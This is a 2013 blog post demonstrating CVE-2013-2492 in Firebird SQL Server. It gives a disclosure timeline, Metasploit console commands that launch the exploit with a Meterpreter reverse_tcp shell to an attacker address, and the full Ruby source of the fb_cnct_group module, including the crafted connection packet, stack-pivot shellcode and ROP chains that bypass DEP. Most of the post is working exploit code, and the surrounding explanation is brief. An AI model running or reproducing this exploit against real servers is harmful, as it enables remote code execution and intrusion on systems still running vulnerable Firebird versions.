CVE-2013-2492 Firebird Relational Database Vulnerability Metasploit Demo

thehat · March 10, 2013

Timeline :

Vulnerability discovered by Spencer McIntyre the 2013-01-31

Vulnerability reported to the vendor the 2013-03-05

Coordinate public release of the vulnerability the 2013-03-08

Metasploit PoC provided the 2013-03-08

PoC provided by :

Spencer McIntyre

Reference(s) :

CVE-2013-2492

CORE-4058

Affected version(s) :

Firebird versions 2.1.3-2.1.5 and 2.5.1-2.5.2

Tested on Windows XP Pro SP3 with :

FireBird 2.5.2.26539

Description :

This module exploits a vulnerability in Firebird SQL Server. A specially crafted packet can be sent which will overwrite a pointer allowing the attacker to control where data is read from. Shortly, following the controlled read, the pointer is called resulting in code execution. The vulnerability exists with a group number extracted from the CNCT information, which is sent by the client, and whose size is not properly checked. This module uses an existing call to memcpy, just prior to the vulnerable code, which allows a small amount of data to be written to the stack. A two-phases stackpivot allows to execute the ROP chain which ultimately is used to execute VirtualAlloc and bypass DEP.

Commands :

use exploit/windows/misc/fb_cnct_group

set RHOST 192.168.178.22

set TARGET 0

set PAYLOAD windows/meterpreter/reverse_tcp

set LHOST 192.168.178.36

exploit

getuid

sysinfo


##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# web site for more information on licensing and terms of use.
# http://metasploit.com/
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
Rank = NormalRanking
include Msf::Exploit::Remote::Tcp

def initialize
super(
'Name' => 'Firebird Relational Database CNCT Group Number Buffer Overflow',
'Description' => %q{
This module exploits a vulnerability in Firebird SQL Server. A specially
crafted packet can be sent which will overwrite a pointer allowing the attacker to
control where data is read from. Shortly, following the controlled read, the
pointer is called resulting in code execution.

The vulnerability exists with a group number extracted from the CNCT information,
which is sent by the client, and whose size is not properly checked.

This module uses an existing call to memcpy, just prior to the vulnerable code,
which allows a small amount of data to be written to the stack. A two-phases
stackpivot allows to execute the ROP chain which ultimately is used to execute
VirtualAlloc and bypass DEP.
},
'Author' => 'Spencer McIntyre',
'Arch' => ARCH_X86,
'Platform' => 'win',
'References' =>
[
[ 'CVE', '2013-2492' ]
],
'DefaultOptions' =>
{
'EXITFUNC' => 'seh'
},
'Payload' =>
{
# Stackpivot => mov eax,fs:[0x18] # add eax,8 # mov esp,[eax]
'Prepend' => "\x64\xa1\x18\x00\x00\x00\x83\xc0\x08\x8b\x20",
'Space' => 400,
'BadChars' => "\x00\x0a\x0d"
},
'Targets' =>
[
# pivots are pointers to stack pivots
[ 'Windows FB 2.5.2.26539', { 'pivot' => 0x005ae1fc, 'rop_nop' => 0x005b0384, 'rop_pop' => 0x4a831344 } ],
[ 'Windows FB 2.5.1.26351', { 'pivot' => 0x4add2302, 'rop_nop' => 0x00424a50, 'rop_pop' => 0x00656472 } ],
[ 'Windows FB 2.1.5.18496', { 'pivot' => 0x4ad5df4d, 'rop_nop' => 0x0042ba8c, 'rop_pop' => 0x005763d5 } ],
[ 'Debug', { 'pivot' => 0xdead1337, 'rop_nop' => 0xdead1337, 'rop_pop' => 0xdead1337 } ]
],
'DefaultTarget' => 0,
'Privileged' => true,
'DisclosureDate' => 'Jan 31 2013'
)

register_options([Opt::RPORT(3050)], self.class)
end

def check
begin
connect
rescue
return Exploit::CheckCode::Safe
end

filename = "C:\\#{rand_text_alpha(12)}.fdb"
username = rand_text_alpha(7)

check_data = ""
check_data << "\x00\x00\x00\x01\x00\x00\x00\x13\x00\x00\x00\x02\x00\x00\x00\x24"
check_data << "\x00\x00\x00\x13"
check_data << filename
check_data << "\x00\x00\x00\x00\x04\x00\x00\x00\x24"
check_data << "\x01\x07" << username << "\x04\x15\x6c\x6f\x63\x61\x6c"
check_data << "\x68\x6f\x73\x74\x2e\x6c\x6f\x63\x61\x6c\x64\x6f\x6d\x61\x69\x6e"
check_data << "\x06\x00\x00\x00\x00\x00\x00\x08\x00\x00\x00\x01\x00\x00\x00\x02"
check_data << "\x00\x00\x00\x05\x00\x00\x00\x02\x00\x00\x00\x0a\x00\x00\x00\x01"
check_data << "\x00\x00\x00\x02\x00\x00\x00\x05\x00\x00\x00\x04\xff\xff\x80\x0b"
check_data << "\x00\x00\x00\x01\x00\x00\x00\x02\x00\x00\x00\x05\x00\x00\x00\x06"
check_data << "\xff\xff\x80\x0c\x00\x00\x00\x01\x00\x00\x00\x02\x00\x00\x00\x05"
check_data << "\x00\x00\x00\x08"

sock.put(check_data)
data = sock.recv(16)
disconnect

opcode = data.unpack("N*")[0]
version = data.unpack("N*")[1]
if opcode == 3 # Accept
if [ 0xffff800b, 0xffff800c ].include?(version)
return Exploit::CheckCode::Vulnerable
end
return Exploit::CheckCode::Detected
end

return Exploit::CheckCode::Unknown
end

def stack_pivot_rop_chain
case target.name
when 'Windows FB 2.5.2.26539'
rop_chain = [
0x005e1ea4, # MOV EAX,EDI # RETN [fbserver.exe]
0x0059ffeb, # POP EBP # RETN [fbserver.exe]
0x0000153c, # 0x0000153c-> ebp
0x005d261f, # ADD EBP,EAX # MOV EBX,59FFFFC9 # RETN [fbserver.exe]
0x0059fe1f, # MOV ESP,EBP # POP EBP # RETN [fbserver.exe]
].pack("V*")
when 'Windows FB 2.5.1.26351'
rop_chain = [
0x005e1ab8, # MOV EAX,EDI # RETN [fbserver.exe]
0x0059650b, # POP EBP # RETN [fbserver.exe]
0x0000153c, # 0x0000153c-> ebp
0x005cf6ff, # ADD EBP,EAX # MOV EBX,59FFFFC9 # RETN [fbserver.exe]
0x0059a3db, # MOV ESP,EBP # POP EBP # RETN [fbserver.exe]
].pack("V*")
when 'Windows FB 2.1.5.18496'
rop_chain = [
0x0055b844, # MOV EAX,EDI # RETN [fbserver.exe]
0x4a86ee77, # POP ECX # RETN [icuuc30.dll]
0x000001c0, # 0x000001c0-> ebp
0x005aee63, # ADD EAX,ECX # RETN [fbserver.exe]
0x4a82d326, # XCHG EAX,ESP # RETN [icuuc30.dll]
].pack("V*")
when 'Debug'
rop_chain = [ ].fill(0x41414141, 0..5).pack("V*")
end
return rop_chain
end

def final_rop_chain
# all rop chains in here created with mona.py, thanks corelan!
case target.name
when 'Windows FB 2.5.2.26539'
rop_chain = [
0x4a831344, # POP ECX # RETN [icuuc30.dll]
0x0065f16c, # ptr to &VirtualAlloc() [IAT fbserver.exe]
0x005989f0, # MOV EAX,DWORD PTR DS:[ECX] # RETN [fbserver.exe]
0x004666a6, # XCHG EAX,ESI # RETN [fbserver.exe]
0x00431905, # POP EBP # RETN [fbserver.exe]
0x00401932, # & push esp # ret [fbserver.exe]
0x4a844ac0, # POP EBX # RETN [icuuc30.dll]
0x00001000, # 0x00001000-> ebx
0x4a85bfee, # POP EDX # RETN [icuuc30.dll]
0x00001000, # 0x00001000-> edx
0x005dae9e, # POP ECX # RETN [fbserver.exe]
0x00000040, # 0x00000040-> ecx
0x0057a822, # POP EDI # RETN [fbserver.exe]
0x005b0384, # RETN (ROP NOP) [fbserver.exe]
0x0046f8c3, # POP EAX # RETN [fbserver.exe]
0x90909090, # nop
0x00586002, # PUSHAD # RETN [fbserver.exe]
].pack("V*")
when 'Windows FB 2.5.1.26351'
rop_chain = [
0x00656472, # POP ECX # RETN [fbserver.exe]
0x0065b16c, # ptr to &VirtualAlloc() [IAT fbserver.exe]
0x00410940, # MOV EAX,DWORD PTR DS:[ECX] # RETN [fbserver.exe]
0x0063be76, # XCHG EAX,ESI # RETN [fbserver.exe]
0x0041d1ae, # POP EBP # RETN [fbserver.exe]
0x0040917f, # & call esp [fbserver.exe]
0x4a8589c0, # POP EBX # RETN [icuuc30.dll]
0x00001000, # 0x00001000-> ebx
0x4a864cc3, # POP EDX # RETN [icuuc30.dll]
0x00001000, # 0x00001000-> edx
0x0064ef59, # POP ECX # RETN [fbserver.exe]
0x00000040, # 0x00000040-> ecx
0x005979fa, # POP EDI # RETN [fbserver.exe]
0x00424a50, # RETN (ROP NOP) [fbserver.exe]
0x4a86052d, # POP EAX # RETN [icuuc30.dll]
0x90909090, # nop
0x005835f2, # PUSHAD # RETN [fbserver.exe]
].pack("V*")
when 'Windows FB 2.1.5.18496'
rop_chain = [
0x005763d5, # POP EAX # RETN [fbserver.exe]
0x005ce120, # ptr to &VirtualAlloc() [IAT fbserver.exe]
0x004865a4, # MOV EAX,DWORD PTR DS:[EAX] # RETN [fbserver.exe]
0x004cf4f6, # XCHG EAX,ESI # RETN [fbserver.exe]
0x004e695a, # POP EBP # RETN [fbserver.exe]
0x004d9e6d, # & jmp esp [fbserver.exe]
0x4a828650, # POP EBX # RETN [icuuc30.dll]
0x00001000, # 0x00001000-> ebx
0x4a85bfee, # POP EDX # RETN [icuuc30.dll]
0x00001000, # 0x00001000-> edx
0x00590328, # POP ECX # RETN [fbserver.exe]
0x00000040, # 0x00000040-> ecx
0x4a8573a1, # POP EDI # RETN [icuuc30.dll]
0x0042ba8c, # RETN (ROP NOP) [fbserver.exe]
0x00577605, # POP EAX # RETN [fbserver.exe]
0x90909090, # nop
0x004530ce, # PUSHAD # RETN [fbserver.exe]
].flatten.pack("V*")
when 'Debug'
rop_chain = [ ].fill(0x41414141, 0..17).pack("V*")
end
return rop_chain
end

def exploit
connect

rop_nop_sled = [ ].fill(target['rop_nop'], 0..16).pack("V*")

# this data gets written to the stack via memcpy, no more than 32 bytes can be written
overwrite_and_rop_chain = [ target['rop_pop'] ].pack("V") # POP to skip the 4 bytes of the original pivot
overwrite_and_rop_chain << [ (target['pivot'] - 8) ].pack("V") # MOV EDX,DWORD PTR DS:[EAX+8]
overwrite_and_rop_chain << stack_pivot_rop_chain

filename = "C:\\#{rand_text_alpha(13)}.fdb"
evil_data = "\x00\x00\x00\x01\x00\x00\x00\x13\x00\x00\x00\x02\x00\x00\x00\x24"
evil_data << "\x00\x00\x00\x14"
evil_data << filename
evil_data << "\x00\x00\x00\x04\x00\x00\x00\x24"
evil_data << "\x05\x20"
evil_data << overwrite_and_rop_chain
evil_data << "\x15\x6c\x6f\x63\x61\x6c"
evil_data << "\x68\x6f\x73\x74\x2e\x6c\x6f\x63\x61\x6c\x64\x6f\x6d\x61\x69\x6e"
evil_data << "\x06\x00\x00\x00\x00\x00\x00\x08\x00\x00\x00\x01\x00\x00\x00\x02"
evil_data << "\x00\x00\x00\x05\x00\x00\x00\x02\x00\x00\x00\x0a\x00\x00\x00\x01"
evil_data << "\x00\x00\x00\x02\x00\x00\x00\x05\x00\x00\x00\x04\xff\xff\x80\x0b"
evil_data << "\x00\x00\x00\x01\x00\x00\x00\x02\x00\x00\x00\x05\x00\x00\x00\x06"
evil_data << "\x41\x41\x41\x41\x00\x00\x00\x01\x00\x00\x00\x02\x00\x00\x00\x05"
evil_data << "\x00\x00\x00\x08\x00\x41\x41\x41"
evil_data << rop_nop_sled
evil_data << final_rop_chain
evil_data << payload.encoded

print_status("#{rhost}:#{rport} - Sending Connection Request For #{filename}")
sock.put(evil_data)

disconnect
end

end

Surse:

CVE-2013-2492 Firebird Database Vulnerability Metasploit Demo

https://github.com/rapid7/metasploit-framework/blob/master/modules/exploits/windows/misc/fb_cnct_group.rb#L1

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CVE-2013-2492 Firebird Relational Database Vulnerability Metasploit Demo

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